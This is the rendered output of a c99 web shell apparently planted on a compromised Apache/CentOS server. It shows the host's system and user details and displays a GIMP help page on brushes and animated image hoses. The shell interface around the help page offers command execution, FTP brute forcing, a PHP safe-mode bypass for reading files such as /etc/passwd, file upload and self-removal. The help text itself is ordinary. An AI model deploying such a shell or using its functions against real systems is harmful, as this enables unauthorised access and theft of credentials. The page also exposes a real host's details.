!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/gimp/2.0/help/en/   drwxr-xr-x
Free 51.94 GB of 127.8 GB (40.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     gimp-concepts-brushes.html (32.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
3.8.  Brushes

3.8.  Brushes

Revision History
Revision $Revision: 1.10 $ 2005-11-28 lexa

Figure 2.25.  Brush strokes example

Brush strokes example

A number of examples of brushstrokes painted using different brushes from the set supplied with GIMP. All were painted using the Paintbrush tool.

A brush is a pixmap or set of pixmaps used for painting. GIMP includes a set of 10 "paint tools", which not only perform operations that you would think of as painting, but also operations such as erasing, copying, smudging, lightening or darkening, etc. All of the paint tools, except the ink tool, use the same set of brushes. The brush pixmaps represent the marks that are made by single "touches" of the brush to the image. A brush stroke, usually made by moving the pointer across the image with the mouse button held down, produces a series of marks spaced along the trajectory, in a way specified by the characteristics of the brush and the paint tool being used.

Brushes can be selected by clicking on an icon in the Brushes dialog. GIMP's current brush is shown in the Brush/Pattern/Gradient area of the Toolbox. Clicking on the brush symbol there is one way of activating the Brushes dialog.

When you install GIMP, it comes presupplied with a number of basic brushes, plus a few bizarre ones that serve mainly to give you examples of what is possible (i. e., the "green pepper" brush in the illustration). You can also create new brushes, or download them and install them so that GIMP will recognize them.

GIMP can use several different types of brushes. All of them, however, are used in the same way, and for most purposes you don't need to be aware of the differences when you paint with them. Here are the available types of brushes:

Ordinary brushes

Most of the brushes supplied with GIMP fall into this category. They are represented in the Brushes dialog by grayscale pixmaps. When you paint using them, the current foreground color (as shown in the Color Area of the Toolbox) is substituted for black, and the pixmap shown in the brushes dialog represents the mark that the brush makes on the image.

To create such a brush: Create a small image in gray levels using zoom. Save it with the .gbr extension. Click on Refresh button in the Brush Dialog to get it in preview without it being necessary to restart GIMP.

Color brushes

Brushes in this category are represented by colored images in the Brushes dialog. They can be a text. When you paint with them, the colors are used as shown; the current foreground color does not come into play. Otherwise they work the same way as ordinary brushes.

To create such a brush: Create a small RGBA image. For this, open New Image, select RGB for image type and Transparent for fill type. Draw your image and save it first to .xcf file to keep its properties. Then save it to .gbr format. Click on Refresh button in Brush Dialog to get your brush without it being necessary to restart Gimp.

[Tip] Tip

You can transform a selection to a brush by using the command: Script-fuSelectionTo Brush.

Image hoses / Image pipes

Brushes in this category can make more than one kind of mark on an image. They are indicated by small red triangles at the lower right corner of the brush symbol in the Brushes dialog. They are sometimes called "animated brushes" because the marks change as you trace out a brushstroke. In principle, image hose brushes can be very sophisticated, especially if you use a tablet, changing shape as a function of pressure, angle, etc. These possibilities have never really been exploited, however; and the ones supplied with GIMP are relatively simple (but still quite useful).

Parametric brushes

These are brushes created using the Brush Editor which allows you to generate a wide variety of brush shapes by using a simple graphical interface. A nice feature of parametric brushes is that they are resizable. In GIMP 2.2, it is possible, using the Preferences dialog, to make key presses or mouse wheel rotations cause the current brush to become larger or smaller, if it is a parametric brush.

One category that GIMP does not have is full-fledged procedural brushes: brushes whose marks are calculated procedurally, instead of being taken from a fixed pixmap. (Actually this is not quite correct: the Ink tool uses a procedural brush, but it is the only one available in GIMP.) A more extensive implementation of procedural brushes is a goal of future development for GIMP.

In addition to the brush pixmap, each GIMP brush has one other important property: the brush Spacing. This represents the distance between consecutive brush-marks when a continuous brushstroke is painted. Each brush has an assigned default value for this, which can be modified using the Brushes dialog.

3.8.1.  The GIH dialog box

Figure 2.26.  The dialog to describe the animated brush.

The dialog to describe the animated brush.

This dialog box shows up, if you save an image as GIMP image hose

This dialog box has several options not easy to understand. They allow you to determine the way your brush is animated.

Spacing (Percent)

"Spacing" is the distance between consecutive brush marks when you trace out a brushstroke with the pointer. You must consider drawing with a brush, whatever the paint tool, like stamping. If Spacing is low, stamps will be very close and stroke look continuous. If spacing is high, stamps will be separated: that's interesting with a color brush (like "green pepper" for instance). Value varies from 1 to 200 and this percentage refers to brush "diameter": 100% is one diameter.

Description

It's the brush name that will appear at the top of Brush Dialog (grid mode) when the brush is selected.

Cell Size

That's size of cells you will cut up in layers... Default is one cell per layer and size is that of the layer. Then there is only one brush aspect per layer

We could have only one big layer and cut up in it the cells that will be used for the different aspects of the animated brush.

For instance, we want a 100x100 pixels brush with 8 different aspects. We can take these 8 aspects from a 400x200 pixels layer, or from a 300x300 pixels layer but with one cell unused.

Number of cells

That's the number of cells (one cell per aspect) that will be cut in every layer. Default is the number of layers as there is only one layer per aspect.

Display as:

This tells how cells have been arranged in layers. If, for example, you have placed height cells at the rate of two cells per layer on four layers, GIMP will display: "1 rows of 2 columns on each layer".

Dimension, Ranks, Selection

There things are getting complicated! Explanations are necessary to understand how to arrange cell and layers.

GIMP starts retrieving cells from each layer and stacks them into a FIFO stack (First In First Out: the first in is at the top of the stack and so can be first out). In our example 4 layers with 2 cells in each, we'll have, from top to bottom: first cell of first layer, second cell of first layer, first cell of second layer, second cell of second layer..., second cell of fourth layer. With one cell per layer or with several cells per layer, result is the same. You can see this stack in the Layer Dialog of the resulting .gih image file.

Then GIMP creates a computer array from this stack with the Dimensions you have set. You can use four dimensions.

In computer science an array has a "myarray(x,y,z)" form for a 3 dimensions array (3D). It's easy to imagine a 2D array: on a paper it's an array with rows and columns

With a 3d array we don't talk rows and columns but Dimensions and Ranks. The first dimension is along x axis, the second dimension along y axis, the third along z axis. Each dimension has ranks of cells.

To fill up this array, GIMP starts retrieving cells from the top of stack. The way it fills the array reminds that of an odometer: right rank digits turn first and, when they reach their maximum, left rank digits start running. If you have some memories of Basic programming you will have, with an array(4,2,2), the following succession: (1,1,1),(1,1,2),(1,2,1),(1,2,2),(2,1,1),(2,1,2),(2,2,2),(3,1,1).... (4,2,2). We will see this later in an example.

Besides the rank number that you can give to each dimension, you can also give them a Selection mode. You have several modes that will be applied when drawing:

  • Incremental : GIMP selects a rank from the concerned dimension according to the order ranks have in that dimension

  • Random : GIMP selects a rank at random from the concerned dimension.

  • Angular : GIMP selects a rank in the concerned dimension according to the moving angle of the brush.

    The first rank is for the direction 0°, upwards. The other ranks are affected, counter clockwise, to an angle whose value is 360/number of ranks. So, with 4 ranks in the concerned dimension, the angle will move 90° counterclockwise for each direction change: second rank will be affected to 270° (-90°) (leftwards), third rank to 180° (downwards) and fourth rank to 90° (rightwards).

  • Speed, Pressure, x tilt and y tilt are options for sophisticated drawing tablets.

Examples

A one dimension image pipe

Well! What is all this useful for? We'll see that gradually with examples. You can actually place in each dimension cases that will give your brush a particular action.

Let us start with a 1D brush which will allow us to study selection modes action. We can imagine it like this:

Follow these steps:

  1. Open a new 30x30 pixels image, RGB with Transparent fill type. Using the Text tool create 4 layers "1", "2", "3", "4". Delete the "background" layer.

  2. Save this image first with .xcf extension to keep its properties then save it as .gih.

    The Save As Dialog is opened: select a destination for your image. OK. The GIH dialog is opened: Choose Spacing 100, give a name in Description box, 30x30 for Cell Size, 1 dimension, 1 rank and choose "Incremental" in Selection box. OK.

    You may have difficulties to save directly in the GIMP Brush directory. In that case, save the .gih file manually into the /usr/share/gimp/gimp 2.0/brushes directory. Then come back into the Toolbox, clic on the brush icon to open the Brush Dialog then click on "Refresh". Your new brush appears in the Brush window. Select it. Select pencil tool for instance and click and hold with it on a new image

    You see 1, 2, 3, 4 digits following one another in order.

    Take your .xcf image file back and save it as .gih setting Selection to "Random": digits will be displayed at random order:

    Now select "Angular" Selection:

A 3 dimensions image hose

We are now going to create a 3D animated brush: its orientation will vary according to brush direction, it will alternate Left/Right hands regularly and its color will vary at random between black and blue.

The first question we have to answer to is the number of images that is necessary. We reserve the first dimension (x) to the brush direction (4 directions). The second dimension (y) is for Left/Right alternation and the third dimension (z) for color variation. Such a brush is represented in a 3D array "myarray(4,2,2)":

There are 4 ranks in first dimension (x), 2 ranks in second dimension (y) and 2 ranks in third dimension (z). We see that there are 4x2x2 = 16 cells. We need 16 images.

  1. Creating images of dimension 1 (x): Open a new 30x30 pixels image, RGB with Transparent Fill Type. Using the zoom draw a left hand with fingers upwards. Save it as handL0k.xcf (hand Left O° Black).

    Open the Layer Dialog. Double click on the layer to open the Layer Attributes Dialog and rename it to handL0k.

    Duplicate the layer. Let visible only the duplicated layer, select it and apply a 90° rotation (Layer/Transform/ 90° rotation counter-clockwise). Rename it to handL-90k.

    Repeat the same operations to create handL180k and handL90k.

  2. Creating images of dimension 2 (y): This dimension in our example has two ranks, one for left hand and the other for right hand. The left hand rank exists yet. We shall build right hand images by flipping it horisontally.

    Duplicate the handL0k layer. Let it visible only and select it. Rename it to handR0K. Apply Layer/Transform/Flip Horizontally.

    Repeat the same operation on the other left hand layers to create their right hand equivalent.

    Re-order layers to have a counter-clockwise rotation from top to bottom, alternating Left and Right: handL0k, handR0k, handL-90k, handR-90k, ..., handR90k.

  3. Creating images of dimension 3 (z): The third dimension has two ranks, one for black color and the other for blue color. The first rank, black, exists yet. We well see that images of dimension 3 will be a copy, in blue, of the images of dimension 2. So we will have our 16 images. But a row of 16 layers is not easy to manage: we will use layers with two images.

    Select the handL0k layer and let it visible only. Using Image/Canvas Size change canvas size to 60x30 pixels.

    Duplicate hand0k layer. On the copy, fill the hand with blue using Bucket Fill tool.

    Now, select the Move tool. Double click on it to accede to its properties: check "Move the Current Layer" option. Move the blue hand into the right part of the layer precisely with the help of Zoom.

    Make sure only handL0k and its blue copy are visible. Right click on the Layer Dialog: Apply the "Merge Visible Layers" command with the option "Expand as Necessary". You get a 60x30 pixels layer with the black hand on the left and the blue hand on the right. Rename it to "handL0".

    Repeat the same operations on the other layers.

  4. Set layers in order: Layers must be set in order so that GIMP can find the required image at some point of using the brush. Our layers are yet in order but we must understand more generally how to have them in order.There are two ways to imagine this setting in order. The first method is mathematical: GIMP divides the 16 layers first by 4; that gives 4 groups of 4 layers for the first dimension. Each group represents a direction of the brush. Then, it divides each group by 2; that gives 8 groups of 2 layers for the second dimension: each group represents a L/R alternation. Then another division by 2 for the third dimension to represent a color at random between black and blue.

    The other method is visual, by using the array representation. Correlation between two methods is represented in next image:

  5. Voilà. Your brush is ready. Save it as .xcf first then as .gih with the following parameters: Spacing:100 Description:Hands Cell Size: 30x30 Number of cells:16 Dimensions: 3

    • Dimension 1: 4 ranks Selection: Angular

    • Dimension 2: 2 ranks Selection: Incremental

    • Dimension 3: 2 ranks Sélection: Random

    Place your .gih file into GIMP brush directory and refresh the brush box. You can now use your brush. Unfortunately GIMP 2.0 is bug-ridden and you may have some difficulties with brush orientation.

    Figure 2.27.  Here is the result by stroking an elliptical selection with the brush:

    Here is the result by stroking an elliptical selection with the brush:

    This brush alternates right hand and left hand regularly, black and blue color at random, according to four brush directions.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--